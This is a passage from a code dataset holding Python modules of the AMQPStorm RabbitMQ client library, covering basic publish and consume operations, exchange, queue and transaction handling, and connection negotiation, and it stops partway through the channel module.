text stringlengths 0 1.05M | meta dict |
|---|---|
"""AMQPStorm Channel.Basic."""
import logging
import math
from pamqp import body as pamqp_body
from pamqp import header as pamqp_header
from pamqp import specification
from amqpstorm import compatibility
from amqpstorm.base import FRAME_MAX
from amqpstorm.base import Handler
from amqpstorm.exception import AMQPChannelError
from amqpstorm.exception import AMQPInvalidArgument
from amqpstorm.message import Message
LOGGER = logging.getLogger(__name__)
class Basic(Handler):
"""RabbitMQ Basic Operations."""
__slots__ = []
def qos(self, prefetch_count=0, prefetch_size=0, global_=False):
"""Specify quality of service.
:param int prefetch_count: Prefetch window in messages
:param int/long prefetch_size: Prefetch window in octets
:param bool global_: Apply to entire connection
:raises AMQPInvalidArgument: Invalid Parameters
:raises AMQPChannelError: Raises if the channel encountered an error.
:raises AMQPConnectionError: Raises if the connection
encountered an error.
:rtype: dict
"""
if not compatibility.is_integer(prefetch_count):
raise AMQPInvalidArgument('prefetch_count should be an integer')
elif not compatibility.is_integer(prefetch_size):
raise AMQPInvalidArgument('prefetch_size should be an integer')
elif not isinstance(global_, bool):
raise AMQPInvalidArgument('global_ should be a boolean')
qos_frame = specification.Basic.Qos(prefetch_count=prefetch_count,
prefetch_size=prefetch_size,
global_=global_)
return self._channel.rpc_request(qos_frame)
def get(self, queue='', no_ack=False, to_dict=False, auto_decode=False):
"""Fetch a single message.
:param str queue: Queue name
:param bool no_ack: No acknowledgement needed
:param bool to_dict: Should incoming messages be converted to a
dictionary before delivery.
:param bool auto_decode: Auto-decode strings when possible.
:raises AMQPInvalidArgument: Invalid Parameters
:raises AMQPChannelError: Raises if the channel encountered an error.
:raises AMQPConnectionError: Raises if the connection
encountered an error.
:returns: Returns a single message, as long as there is a message in
the queue. If no message is available, returns None.
:rtype: dict|Message|None
"""
if not compatibility.is_string(queue):
raise AMQPInvalidArgument('queue should be a string')
elif not isinstance(no_ack, bool):
raise AMQPInvalidArgument('no_ack should be a boolean')
elif self._channel.consumer_tags:
raise AMQPChannelError("Cannot call 'get' when channel is "
"set to consume")
get_frame = specification.Basic.Get(queue=queue,
no_ack=no_ack)
with self._channel.lock and self._channel.rpc.lock:
message = self._get_message(get_frame, auto_decode=auto_decode)
if message and to_dict:
return message.to_dict()
return message
def recover(self, requeue=False):
"""Redeliver unacknowledged messages.
:param bool requeue: Re-queue the messages
:raises AMQPInvalidArgument: Invalid Parameters
:raises AMQPChannelError: Raises if the channel encountered an error.
:raises AMQPConnectionError: Raises if the connection
encountered an error.
:rtype: dict
"""
if not isinstance(requeue, bool):
raise AMQPInvalidArgument('requeue should be a boolean')
recover_frame = specification.Basic.Recover(requeue=requeue)
return self._channel.rpc_request(recover_frame)
def consume(self, callback=None, queue='', consumer_tag='',
exclusive=False, no_ack=False, no_local=False, arguments=None):
"""Start a queue consumer.
:param function callback: Message callback
:param str queue: Queue name
:param str consumer_tag: Consumer tag
:param bool no_local: Do not deliver own messages
:param bool no_ack: No acknowledgement needed
:param bool exclusive: Request exclusive access
:param dict arguments: Consume key/value arguments
:raises AMQPInvalidArgument: Invalid Parameters
:raises AMQPChannelError: Raises if the channel encountered an error.
:raises AMQPConnectionError: Raises if the connection
encountered an error.
:returns: Consumer tag
:rtype: str
"""
if not compatibility.is_string(queue):
raise AMQPInvalidArgument('queue should be a string')
elif not compatibility.is_string(consumer_tag):
raise AMQPInvalidArgument('consumer_tag should be a string')
elif not isinstance(exclusive, bool):
raise AMQPInvalidArgument('exclusive should be a boolean')
elif not isinstance(no_ack, bool):
raise AMQPInvalidArgument('no_ack should be a boolean')
elif not isinstance(no_local, bool):
raise AMQPInvalidArgument('no_local should be a boolean')
elif arguments is not None and not isinstance(arguments, dict):
raise AMQPInvalidArgument('arguments should be a dict or None')
self._channel.consumer_callback = callback
consume_rpc_result = self._consume_rpc_request(arguments, consumer_tag,
exclusive, no_ack,
no_local, queue)
return self._consume_add_and_get_tag(consume_rpc_result)
def cancel(self, consumer_tag=''):
"""Cancel a queue consumer.
:param str consumer_tag: Consumer tag
:raises AMQPInvalidArgument: Invalid Parameters
:raises AMQPChannelError: Raises if the channel encountered an error.
:raises AMQPConnectionError: Raises if the connection
encountered an error.
:rtype: dict
"""
if not compatibility.is_string(consumer_tag):
raise AMQPInvalidArgument('consumer_tag should be a string')
cancel_frame = specification.Basic.Cancel(consumer_tag=consumer_tag)
result = self._channel.rpc_request(cancel_frame)
self._channel.remove_consumer_tag(consumer_tag)
return result
def publish(self, body, routing_key, exchange='', properties=None,
mandatory=False, immediate=False):
"""Publish a Message.
:param bytes|str|unicode body: Message payload
:param str routing_key: Message routing key
:param str exchange: The exchange to publish the message to
:param dict properties: Message properties
:param bool mandatory: Requires the message is published
:param bool immediate: Request immediate delivery
:raises AMQPInvalidArgument: Invalid Parameters
:raises AMQPChannelError: Raises if the channel encountered an error.
:raises AMQPConnectionError: Raises if the connection
encountered an error.
:rtype: bool|None
"""
self._validate_publish_parameters(body, exchange, immediate, mandatory,
properties, routing_key)
properties = properties or {}
body = self._handle_utf8_payload(body, properties)
properties = specification.Basic.Properties(**properties)
method_frame = specification.Basic.Publish(exchange=exchange,
routing_key=routing_key,
mandatory=mandatory,
immediate=immediate)
header_frame = pamqp_header.ContentHeader(body_size=len(body),
properties=properties)
frames_out = [method_frame, header_frame]
for body_frame in self._create_content_body(body):
frames_out.append(body_frame)
if self._channel.confirming_deliveries:
with self._channel.rpc.lock:
return self._publish_confirm(frames_out)
self._channel.write_frames(frames_out)
def ack(self, delivery_tag=None, multiple=False):
"""Acknowledge Message.
:param int/long delivery_tag: Server-assigned delivery tag
:param bool multiple: Acknowledge multiple messages
:raises AMQPInvalidArgument: Invalid Parameters
:raises AMQPChannelError: Raises if the channel encountered an error.
:raises AMQPConnectionError: Raises if the connection
encountered an error.
:return:
"""
if delivery_tag is not None \
and not compatibility.is_integer(delivery_tag):
raise AMQPInvalidArgument('delivery_tag should be an integer '
'or None')
elif not isinstance(multiple, bool):
raise AMQPInvalidArgument('multiple should be a boolean')
ack_frame = specification.Basic.Ack(delivery_tag=delivery_tag,
multiple=multiple)
self._channel.write_frame(ack_frame)
def nack(self, delivery_tag=None, multiple=False, requeue=True):
"""Negative Acknowledgement.
:param int/long delivery_tag: Server-assigned delivery tag
:param bool multiple: Negative acknowledge multiple messages
:param bool requeue: Re-queue the message
:raises AMQPInvalidArgument: Invalid Parameters
:raises AMQPChannelError: Raises if the channel encountered an error.
:raises AMQPConnectionError: Raises if the connection
encountered an error.
:return:
"""
if delivery_tag is not None \
and not compatibility.is_integer(delivery_tag):
raise AMQPInvalidArgument('delivery_tag should be an integer '
'or None')
elif not isinstance(multiple, bool):
raise AMQPInvalidArgument('multiple should be a boolean')
elif not isinstance(requeue, bool):
raise AMQPInvalidArgument('requeue should be a boolean')
nack_frame = specification.Basic.Nack(delivery_tag=delivery_tag,
multiple=multiple,
requeue=requeue)
self._channel.write_frame(nack_frame)
def reject(self, delivery_tag=None, requeue=True):
"""Reject Message.
:param int/long delivery_tag: Server-assigned delivery tag
:param bool requeue: Re-queue the message
:raises AMQPInvalidArgument: Invalid Parameters
:raises AMQPChannelError: Raises if the channel encountered an error.
:raises AMQPConnectionError: Raises if the connection
encountered an error.
:return:
"""
if delivery_tag is not None \
and not compatibility.is_integer(delivery_tag):
raise AMQPInvalidArgument('delivery_tag should be an integer '
'or None')
elif not isinstance(requeue, bool):
raise AMQPInvalidArgument('requeue should be a boolean')
reject_frame = specification.Basic.Reject(delivery_tag=delivery_tag,
requeue=requeue)
self._channel.write_frame(reject_frame)
def _consume_add_and_get_tag(self, consume_rpc_result):
"""Add the tag to the channel and return it.
:param dict consume_rpc_result:
:rtype: str
"""
consumer_tag = consume_rpc_result['consumer_tag']
self._channel.add_consumer_tag(consumer_tag)
return consumer_tag
def _consume_rpc_request(self, arguments, consumer_tag, exclusive, no_ack,
no_local, queue):
"""Create a Consume Frame and execute a RPC request.
:param str queue: Queue name
:param str consumer_tag: Consumer tag
:param bool no_local: Do not deliver own messages
:param bool no_ack: No acknowledgement needed
:param bool exclusive: Request exclusive access
:param dict arguments: Consume key/value arguments
:rtype: dict
"""
consume_frame = specification.Basic.Consume(queue=queue,
consumer_tag=consumer_tag,
exclusive=exclusive,
no_local=no_local,
no_ack=no_ack,
arguments=arguments)
return self._channel.rpc_request(consume_frame)
@staticmethod
def _validate_publish_parameters(body, exchange, immediate, mandatory,
properties, routing_key):
"""Validate Publish Parameters.
:param bytes|str|unicode body: Message payload
:param str routing_key: Message routing key
:param str exchange: The exchange to publish the message to
:param dict properties: Message properties
:param bool mandatory: Requires the message is published
:param bool immediate: Request immediate delivery
:raises AMQPInvalidArgument: Invalid Parameters
:return:
"""
if not compatibility.is_string(body):
raise AMQPInvalidArgument('body should be a string')
elif not compatibility.is_string(routing_key):
raise AMQPInvalidArgument('routing_key should be a string')
elif not compatibility.is_string(exchange):
raise AMQPInvalidArgument('exchange should be a string')
elif properties is not None and not isinstance(properties, dict):
raise AMQPInvalidArgument('properties should be a dict or None')
elif not isinstance(mandatory, bool):
raise AMQPInvalidArgument('mandatory should be a boolean')
elif not isinstance(immediate, bool):
raise AMQPInvalidArgument('immediate should be a boolean')
@staticmethod
def _handle_utf8_payload(body, properties):
"""Update the Body and Properties to the appropriate encoding.
:param bytes|str|unicode body: Message payload
:param dict properties: Message properties
:return:
"""
if 'content_encoding' not in properties:
properties['content_encoding'] = 'utf-8'
encoding = properties['content_encoding']
if compatibility.is_unicode(body):
body = body.encode(encoding)
elif compatibility.PYTHON3 and isinstance(body, str):
body = bytes(body, encoding=encoding)
return body
def _get_message(self, get_frame, auto_decode):
"""Get and return a message using a Basic.Get frame.
:param Basic.Get get_frame:
:param bool auto_decode: Auto-decode strings when possible.
:rtype: Message
"""
message_uuid = self._channel.rpc.register_request(
get_frame.valid_responses + ['ContentHeader', 'ContentBody']
)
try:
self._channel.write_frame(get_frame)
get_ok_frame = self._channel.rpc.get_request(message_uuid,
raw=True,
multiple=True)
if isinstance(get_ok_frame, specification.Basic.GetEmpty):
return None
content_header = self._channel.rpc.get_request(message_uuid,
raw=True,
multiple=True)
body = self._get_content_body(message_uuid,
content_header.body_size)
finally:
self._channel.rpc.remove(message_uuid)
return Message(channel=self._channel,
body=body,
method=dict(get_ok_frame),
properties=dict(content_header.properties),
auto_decode=auto_decode)
def _publish_confirm(self, frames_out):
"""Confirm that message was published successfully.
:param list frames_out:
:rtype: bool
"""
confirm_uuid = self._channel.rpc.register_request(['Basic.Ack',
'Basic.Nack'])
self._channel.write_frames(frames_out)
result = self._channel.rpc.get_request(confirm_uuid, raw=True)
self._channel.check_for_errors()
if isinstance(result, specification.Basic.Ack):
return True
return False
@staticmethod
def _create_content_body(body):
"""Split body based on the maximum frame size.
This function is based on code from Rabbitpy.
https://github.com/gmr/rabbitpy
:param bytes|str|unicode body: Message payload
:rtype: collections.Iterable
"""
frames = int(math.ceil(len(body) / float(FRAME_MAX)))
for offset in compatibility.RANGE(0, frames):
start_frame = FRAME_MAX * offset
end_frame = start_frame + FRAME_MAX
body_len = len(body)
if end_frame > body_len:
end_frame = body_len
yield pamqp_body.ContentBody(body[start_frame:end_frame])
def _get_content_body(self, message_uuid, body_size):
"""Get Content Body using RPC requests.
:param str uuid_body: Rpc Identifier.
:param int body_size: Content Size.
:rtype: str
"""
body = bytes()
while len(body) < body_size:
body_piece = self._channel.rpc.get_request(message_uuid, raw=True,
multiple=True)
if not body_piece.value:
break
body += body_piece.value
return body
| {
"repo_name": "fake-name/ReadableWebProxy",
"path": "amqpstorm/basic.py",
"copies": "1",
"size": "18540",
"license": "bsd-3-clause",
"hash": 7578447197183806000,
"line_mean": 42.1162790698,
"line_max": 79,
"alpha_frac": 0.5933117584,
"autogenerated": false,
"ratio": 4.8243559718969555,
"config_test": false,
"has_no_keywords": false,
"few_assignments": false,
"quality_score": 1,
"avg_score": 0,
"num_lines": 430
} |
"""AMQPStorm Channel.Exchange."""
import logging
from pamqp.specification import Exchange as pamqp_exchange
from amqpstorm import compatibility
from amqpstorm.base import Handler
from amqpstorm.exception import AMQPInvalidArgument
LOGGER = logging.getLogger(__name__)
class Exchange(Handler):
"""RabbitMQ Exchange Operations."""
__slots__ = []
def declare(self, exchange='', exchange_type='direct', passive=False,
durable=False, auto_delete=False, arguments=None):
"""Declare an Exchange.
:param str exchange: Exchange name
:param str exchange_type: Exchange type
:param bool passive: Do not create
:param bool durable: Durable exchange
:param bool auto_delete: Automatically delete when not in use
:param dict arguments: Exchange key/value arguments
:raises AMQPInvalidArgument: Invalid Parameters
:raises AMQPChannelError: Raises if the channel encountered an error.
:raises AMQPConnectionError: Raises if the connection
encountered an error.
:rtype: dict
"""
if not compatibility.is_string(exchange):
raise AMQPInvalidArgument('exchange should be a string')
elif not compatibility.is_string(exchange_type):
raise AMQPInvalidArgument('exchange_type should be a string')
elif not isinstance(passive, bool):
raise AMQPInvalidArgument('passive should be a boolean')
elif not isinstance(durable, bool):
raise AMQPInvalidArgument('durable should be a boolean')
elif not isinstance(auto_delete, bool):
raise AMQPInvalidArgument('auto_delete should be a boolean')
elif arguments is not None and not isinstance(arguments, dict):
raise AMQPInvalidArgument('arguments should be a dict or None')
declare_frame = pamqp_exchange.Declare(exchange=exchange,
exchange_type=exchange_type,
passive=passive,
durable=durable,
auto_delete=auto_delete,
arguments=arguments)
return self._channel.rpc_request(declare_frame)
def delete(self, exchange='', if_unused=False):
"""Delete an Exchange.
:param str exchange: Exchange name
:param bool if_unused: Delete only if unused
:raises AMQPInvalidArgument: Invalid Parameters
:raises AMQPChannelError: Raises if the channel encountered an error.
:raises AMQPConnectionError: Raises if the connection
encountered an error.
:rtype: dict
"""
if not compatibility.is_string(exchange):
raise AMQPInvalidArgument('exchange should be a string')
delete_frame = pamqp_exchange.Delete(exchange=exchange,
if_unused=if_unused)
return self._channel.rpc_request(delete_frame)
def bind(self, destination='', source='', routing_key='',
arguments=None):
"""Bind an Exchange.
:param str destination: Exchange name
:param str source: Exchange to bind to
:param str routing_key: The routing key to use
:param dict arguments: Bind key/value arguments
:raises AMQPInvalidArgument: Invalid Parameters
:raises AMQPChannelError: Raises if the channel encountered an error.
:raises AMQPConnectionError: Raises if the connection
encountered an error.
:rtype: dict
"""
if not compatibility.is_string(destination):
raise AMQPInvalidArgument('destination should be a string')
elif not compatibility.is_string(source):
raise AMQPInvalidArgument('source should be a string')
elif not compatibility.is_string(routing_key):
raise AMQPInvalidArgument('routing_key should be a string')
elif arguments is not None and not isinstance(arguments, dict):
raise AMQPInvalidArgument('arguments should be a dict or None')
bind_frame = pamqp_exchange.Bind(destination=destination,
source=source,
routing_key=routing_key,
arguments=arguments)
return self._channel.rpc_request(bind_frame)
def unbind(self, destination='', source='', routing_key='',
arguments=None):
"""Unbind an Exchange.
:param str destination: Exchange name
:param str source: Exchange to unbind from
:param str routing_key: The routing key used
:param dict arguments: Unbind key/value arguments
:raises AMQPInvalidArgument: Invalid Parameters
:raises AMQPChannelError: Raises if the channel encountered an error.
:raises AMQPConnectionError: Raises if the connection
encountered an error.
:rtype: dict
"""
if not compatibility.is_string(destination):
raise AMQPInvalidArgument('destination should be a string')
elif not compatibility.is_string(source):
raise AMQPInvalidArgument('source should be a string')
elif not compatibility.is_string(routing_key):
raise AMQPInvalidArgument('routing_key should be a string')
elif arguments is not None and not isinstance(arguments, dict):
raise AMQPInvalidArgument('arguments should be a dict or None')
unbind_frame = pamqp_exchange.Unbind(destination=destination,
source=source,
routing_key=routing_key,
arguments=arguments)
return self._channel.rpc_request(unbind_frame)
| {
"repo_name": "eandersson/amqp-storm",
"path": "amqpstorm/exchange.py",
"copies": "3",
"size": "6025",
"license": "mit",
"hash": -2984598828133813000,
"line_mean": 42.9781021898,
"line_max": 77,
"alpha_frac": 0.6074688797,
"autogenerated": false,
"ratio": 5.050293378038559,
"config_test": false,
"has_no_keywords": false,
"few_assignments": false,
"quality_score": 0.7157762257738558,
"avg_score": null,
"num_lines": null
} |
"""AMQPStorm Channel.Queue."""
import logging
from pamqp.specification import Queue as pamqp_queue
from amqpstorm import compatibility
from amqpstorm.base import Handler
from amqpstorm.exception import AMQPInvalidArgument
LOGGER = logging.getLogger(__name__)
class Queue(Handler):
"""RabbitMQ Queue Operations."""
__slots__ = []
def declare(self, queue='', passive=False, durable=False,
exclusive=False, auto_delete=False, arguments=None):
"""Declare a Queue.
:param str queue: Queue name
:param bool passive: Do not create
:param bool durable: Durable queue
:param bool exclusive: Request exclusive access
:param bool auto_delete: Automatically delete when not in use
:param dict arguments: Queue key/value arguments
:raises AMQPInvalidArgument: Invalid Parameters
:raises AMQPChannelError: Raises if the channel encountered an error.
:raises AMQPConnectionError: Raises if the connection
encountered an error.
:rtype: dict
"""
if not compatibility.is_string(queue):
raise AMQPInvalidArgument('queue should be a string')
elif not isinstance(passive, bool):
raise AMQPInvalidArgument('passive should be a boolean')
elif not isinstance(durable, bool):
raise AMQPInvalidArgument('durable should be a boolean')
elif not isinstance(exclusive, bool):
raise AMQPInvalidArgument('exclusive should be a boolean')
elif not isinstance(auto_delete, bool):
raise AMQPInvalidArgument('auto_delete should be a boolean')
elif arguments is not None and not isinstance(arguments, dict):
raise AMQPInvalidArgument('arguments should be a dict or None')
declare_frame = pamqp_queue.Declare(queue=queue,
passive=passive,
durable=durable,
exclusive=exclusive,
auto_delete=auto_delete,
arguments=arguments)
return self._channel.rpc_request(declare_frame)
def delete(self, queue='', if_unused=False, if_empty=False):
"""Delete a Queue.
:param str queue: Queue name
:param bool if_unused: Delete only if unused
:param bool if_empty: Delete only if empty
:raises AMQPInvalidArgument: Invalid Parameters
:raises AMQPChannelError: Raises if the channel encountered an error.
:raises AMQPConnectionError: Raises if the connection
encountered an error.
:rtype: dict
"""
if not compatibility.is_string(queue):
raise AMQPInvalidArgument('queue should be a string')
elif not isinstance(if_unused, bool):
raise AMQPInvalidArgument('if_unused should be a boolean')
elif not isinstance(if_empty, bool):
raise AMQPInvalidArgument('if_empty should be a boolean')
delete_frame = pamqp_queue.Delete(queue=queue, if_unused=if_unused,
if_empty=if_empty)
return self._channel.rpc_request(delete_frame)
def purge(self, queue):
"""Purge a Queue.
:param str queue: Queue name
:raises AMQPInvalidArgument: Invalid Parameters
:raises AMQPChannelError: Raises if the channel encountered an error.
:raises AMQPConnectionError: Raises if the connection
encountered an error.
:rtype: dict
"""
if not compatibility.is_string(queue):
raise AMQPInvalidArgument('queue should be a string')
purge_frame = pamqp_queue.Purge(queue=queue)
return self._channel.rpc_request(purge_frame)
def bind(self, queue='', exchange='', routing_key='', arguments=None):
"""Bind a Queue.
:param str queue: Queue name
:param str exchange: Exchange name
:param str routing_key: The routing key to use
:param dict arguments: Bind key/value arguments
:raises AMQPInvalidArgument: Invalid Parameters
:raises AMQPChannelError: Raises if the channel encountered an error.
:raises AMQPConnectionError: Raises if the connection
encountered an error.
:rtype: dict
"""
if not compatibility.is_string(queue):
raise AMQPInvalidArgument('queue should be a string')
elif not compatibility.is_string(exchange):
raise AMQPInvalidArgument('exchange should be a string')
elif not compatibility.is_string(routing_key):
raise AMQPInvalidArgument('routing_key should be a string')
elif arguments is not None and not isinstance(arguments, dict):
raise AMQPInvalidArgument('arguments should be a dict or None')
bind_frame = pamqp_queue.Bind(queue=queue,
exchange=exchange,
routing_key=routing_key,
arguments=arguments)
return self._channel.rpc_request(bind_frame)
def unbind(self, queue='', exchange='', routing_key='', arguments=None):
"""Unbind a Queue.
:param str queue: Queue name
:param str exchange: Exchange name
:param str routing_key: The routing key used
:param dict arguments: Unbind key/value arguments
:raises AMQPInvalidArgument: Invalid Parameters
:raises AMQPChannelError: Raises if the channel encountered an error.
:raises AMQPConnectionError: Raises if the connection
encountered an error.
:rtype: dict
"""
if not compatibility.is_string(queue):
raise AMQPInvalidArgument('queue should be a string')
elif not compatibility.is_string(exchange):
raise AMQPInvalidArgument('exchange should be a string')
elif not compatibility.is_string(routing_key):
raise AMQPInvalidArgument('routing_key should be a string')
elif arguments is not None and not isinstance(arguments, dict):
raise AMQPInvalidArgument('arguments should be a dict or None')
unbind_frame = pamqp_queue.Unbind(queue=queue,
exchange=exchange,
routing_key=routing_key,
arguments=arguments)
return self._channel.rpc_request(unbind_frame)
| {
"repo_name": "fake-name/ReadableWebProxy",
"path": "amqpstorm/queue.py",
"copies": "3",
"size": "6702",
"license": "bsd-3-clause",
"hash": -3405905930285609000,
"line_mean": 41.1509433962,
"line_max": 77,
"alpha_frac": 0.6072814085,
"autogenerated": false,
"ratio": 4.838989169675091,
"config_test": false,
"has_no_keywords": false,
"few_assignments": false,
"quality_score": 0.6946270578175091,
"avg_score": null,
"num_lines": null
} |
"""AMQPStorm Channel.Tx."""
import logging
from pamqp import specification
from amqpstorm.base import Handler
LOGGER = logging.getLogger(__name__)
class Tx(Handler):
"""RabbitMQ Transactions.
Server local transactions, in which the server will buffer published
messages until the client commits (or rollback) the messages.
"""
__slots__ = ['_tx_active']
def __init__(self, channel):
self._tx_active = True
super(Tx, self).__init__(channel)
def __enter__(self):
self.select()
return self
def __exit__(self, exception_type, exception_value, _):
if exception_type:
LOGGER.warning(
'Leaving Transaction on exception: %s',
exception_value
)
if self._tx_active:
self.rollback()
return
if self._tx_active:
self.commit()
def select(self):
"""Enable standard transaction mode.
This will enable transaction mode on the channel. Meaning that
messages will be kept in the remote server buffer until such a
time that either commit or rollback is called.
:return:
"""
self._tx_active = True
return self._channel.rpc_request(specification.Tx.Select())
def commit(self):
"""Commit the current transaction.
Commit all messages published during the current transaction
session to the remote server.
A new transaction session starts as soon as the command has
been executed.
:return:
"""
self._tx_active = False
return self._channel.rpc_request(specification.Tx.Commit())
def rollback(self):
"""Abandon the current transaction.
Rollback all messages published during the current transaction
session to the remote server.
Note that all messages published during this transaction session
will be lost, and will have to be published again.
A new transaction session starts as soon as the command has
been executed.
:return:
"""
self._tx_active = False
return self._channel.rpc_request(specification.Tx.Rollback())
| {
"repo_name": "eandersson/amqpstorm",
"path": "amqpstorm/tx.py",
"copies": "3",
"size": "2299",
"license": "mit",
"hash": -3979623476653379000,
"line_mean": 27.0365853659,
"line_max": 76,
"alpha_frac": 0.5989560679,
"autogenerated": false,
"ratio": 4.912393162393163,
"config_test": false,
"has_no_keywords": false,
"few_assignments": false,
"quality_score": 0.7011349230293162,
"avg_score": null,
"num_lines": null
} |
"""AMQPStorm Connection.Channel0."""
import logging
import platform
from pamqp import specification
from pamqp.heartbeat import Heartbeat
from amqpstorm import __version__
from amqpstorm.base import LOCALE
from amqpstorm.base import MAX_CHANNELS
from amqpstorm.base import MAX_FRAME_SIZE
from amqpstorm.base import Stateful
from amqpstorm.compatibility import try_utf8_decode
from amqpstorm.exception import AMQPConnectionError
LOGGER = logging.getLogger(__name__)
class Channel0(object):
"""Internal Channel0 handler."""
def __init__(self, connection, client_properties=None):
super(Channel0, self).__init__()
self.is_blocked = False
self.max_allowed_channels = MAX_CHANNELS
self.max_frame_size = MAX_FRAME_SIZE
self.server_properties = {}
self._connection = connection
self._heartbeat = connection.parameters['heartbeat']
self._parameters = connection.parameters
self._override_client_properties = client_properties
def on_frame(self, frame_in):
"""Handle frames sent to Channel0.
:param frame_in: Amqp frame.
:return:
"""
LOGGER.debug('Frame Received: %s', frame_in.name)
if frame_in.name == 'Heartbeat':
return
elif frame_in.name == 'Connection.Close':
self._close_connection(frame_in)
elif frame_in.name == 'Connection.CloseOk':
self._close_connection_ok()
elif frame_in.name == 'Connection.Blocked':
self._blocked_connection(frame_in)
elif frame_in.name == 'Connection.Unblocked':
self._unblocked_connection()
elif frame_in.name == 'Connection.OpenOk':
self._set_connection_state(Stateful.OPEN)
elif frame_in.name == 'Connection.Start':
self.server_properties = frame_in.server_properties
self._send_start_ok(frame_in)
elif frame_in.name == 'Connection.Tune':
self._send_tune_ok(frame_in)
self._send_open_connection()
else:
LOGGER.error('[Channel0] Unhandled Frame: %s', frame_in.name)
def send_close_connection(self):
"""Send Connection Close frame.
:return:
"""
self._write_frame(specification.Connection.Close())
def send_heartbeat(self):
"""Send Heartbeat frame.
:return:
"""
if not self._connection.is_open:
return
self._write_frame(Heartbeat())
def _close_connection(self, frame_in):
"""Connection Close.
:param specification.Connection.Close frame_in: Amqp frame.
:return:
"""
self._set_connection_state(Stateful.CLOSED)
if frame_in.reply_code != 200:
reply_text = try_utf8_decode(frame_in.reply_text)
message = (
'Connection was closed by remote server: %s' % reply_text
)
exception = AMQPConnectionError(message,
reply_code=frame_in.reply_code)
self._connection.exceptions.append(exception)
def _close_connection_ok(self):
"""Connection CloseOk frame received.
:return:
"""
self._set_connection_state(Stateful.CLOSED)
def _blocked_connection(self, frame_in):
"""Connection is Blocked.
:param frame_in:
:return:
"""
self.is_blocked = True
LOGGER.warning(
'Connection is blocked by remote server: %s',
try_utf8_decode(frame_in.reason)
)
def _negotiate(self, server_value, client_value):
"""Negotiate the highest supported value. Fall back on the
client side value if zero.
:param int server_value: Server Side value
:param int client_value: Client Side value
:rtype: int
:return:
"""
return min(server_value, client_value) or client_value
def _unblocked_connection(self):
"""Connection is Unblocked.
:return:
"""
self.is_blocked = False
LOGGER.info('Connection is no longer blocked by remote server')
def _plain_credentials(self):
"""AMQP Plain Credentials.
:rtype: str
"""
return '\0%s\0%s' % (self._parameters['username'],
self._parameters['password'])
def _send_start_ok(self, frame_in):
"""Send Start OK frame.
:param specification.Connection.Start frame_in: Amqp frame.
:return:
"""
mechanisms = try_utf8_decode(frame_in.mechanisms)
if 'EXTERNAL' in mechanisms:
mechanism = 'EXTERNAL'
credentials = '\0\0'
elif 'PLAIN' in mechanisms:
mechanism = 'PLAIN'
credentials = self._plain_credentials()
else:
exception = AMQPConnectionError(
'Unsupported Security Mechanism(s): %s' %
frame_in.mechanisms
)
self._connection.exceptions.append(exception)
return
start_ok_frame = specification.Connection.StartOk(
mechanism=mechanism,
client_properties=self._client_properties(),
response=credentials,
locale=LOCALE
)
self._write_frame(start_ok_frame)
def _send_tune_ok(self, frame_in):
"""Send Tune OK frame.
:param specification.Connection.Tune frame_in: Tune frame.
:return:
"""
self.max_allowed_channels = self._negotiate(frame_in.channel_max,
MAX_CHANNELS)
self.max_frame_size = self._negotiate(frame_in.frame_max,
MAX_FRAME_SIZE)
LOGGER.debug(
'Negotiated max frame size %d, max channels %d',
self.max_frame_size, self.max_allowed_channels
)
tune_ok_frame = specification.Connection.TuneOk(
channel_max=self.max_allowed_channels,
frame_max=self.max_frame_size,
heartbeat=self._heartbeat)
self._write_frame(tune_ok_frame)
def _send_open_connection(self):
"""Send Open Connection frame.
:return:
"""
open_frame = specification.Connection.Open(
virtual_host=self._parameters['virtual_host']
)
self._write_frame(open_frame)
def _set_connection_state(self, state):
"""Set Connection state.
:param state:
:return:
"""
self._connection.set_state(state)
def _write_frame(self, frame_out):
"""Write a pamqp frame from Channel0.
:param frame_out: Amqp frame.
:return:
"""
self._connection.write_frame(0, frame_out)
LOGGER.debug('Frame Sent: %s', frame_out.name)
def _client_properties(self):
"""AMQPStorm Client Properties.
:rtype: dict
"""
client_properties = {
'product': 'AMQPStorm',
'platform': 'Python %s (%s)' % (platform.python_version(),
platform.python_implementation()),
'capabilities': {
'basic.nack': True,
'connection.blocked': True,
'publisher_confirms': True,
'consumer_cancel_notify': True,
'authentication_failure_close': True,
},
'information': 'See https://github.com/eandersson/amqpstorm',
'version': __version__
}
if self._override_client_properties:
client_properties.update(self._override_client_properties)
return client_properties
| {
"repo_name": "eandersson/amqpstorm",
"path": "amqpstorm/channel0.py",
"copies": "1",
"size": "7724",
"license": "mit",
"hash": 5893251624002830000,
"line_mean": 31.3179916318,
"line_max": 78,
"alpha_frac": 0.5730191611,
"autogenerated": false,
"ratio": 4.195545898967953,
"config_test": false,
"has_no_keywords": false,
"few_assignments": false,
"quality_score": 1,
"avg_score": 0,
"num_lines": 239
} |
"""AMQPStorm Connection.Channel."""
import logging
from time import sleep
from pamqp import specification
from pamqp.header import ContentHeader
from amqpstorm import compatibility
from amqpstorm.base import BaseChannel
from amqpstorm.base import BaseMessage
from amqpstorm.base import IDLE_WAIT
from amqpstorm.basic import Basic
from amqpstorm.compatibility import try_utf8_decode
from amqpstorm.exception import AMQPChannelError
from amqpstorm.exception import AMQPConnectionError
from amqpstorm.exception import AMQPInvalidArgument
from amqpstorm.exception import AMQPMessageError
from amqpstorm.exchange import Exchange
from amqpstorm.message import Message
from amqpstorm.queue import Queue
from amqpstorm.rpc import Rpc
from amqpstorm.tx import Tx
LOGGER = logging.getLogger(__name__)
CONTENT_FRAME = ['Basic.Deliver', 'ContentHeader', 'ContentBody']
class Channel(BaseChannel):
"""RabbitMQ Channel.
e.g.
::
channel = connection.channel()
"""
__slots__ = [
'_consumer_callbacks', 'rpc', '_basic', '_confirming_deliveries',
'_connection', '_exchange', '_inbound', '_queue', '_tx'
]
def __init__(self, channel_id, connection, rpc_timeout):
super(Channel, self).__init__(channel_id)
self.rpc = Rpc(self, timeout=rpc_timeout)
self._consumer_callbacks = {}
self._confirming_deliveries = False
self._connection = connection
self._inbound = []
self._basic = Basic(self, connection.max_frame_size)
self._exchange = Exchange(self)
self._tx = Tx(self)
self._queue = Queue(self)
def __enter__(self):
return self
def __exit__(self, exception_type, exception_value, _):
if exception_type:
LOGGER.warning(
'Closing channel due to an unhandled exception: %s',
exception_value
)
if not self.is_open:
return
self.close()
def __int__(self):
return self._channel_id
@property
def basic(self):
"""RabbitMQ Basic Operations.
e.g.
::
message = channel.basic.get(queue='hello_world')
:rtype: amqpstorm.basic.Basic
"""
return self._basic
@property
def exchange(self):
"""RabbitMQ Exchange Operations.
e.g.
::
channel.exchange.declare(exchange='hello_world')
:rtype: amqpstorm.exchange.Exchange
"""
return self._exchange
@property
def queue(self):
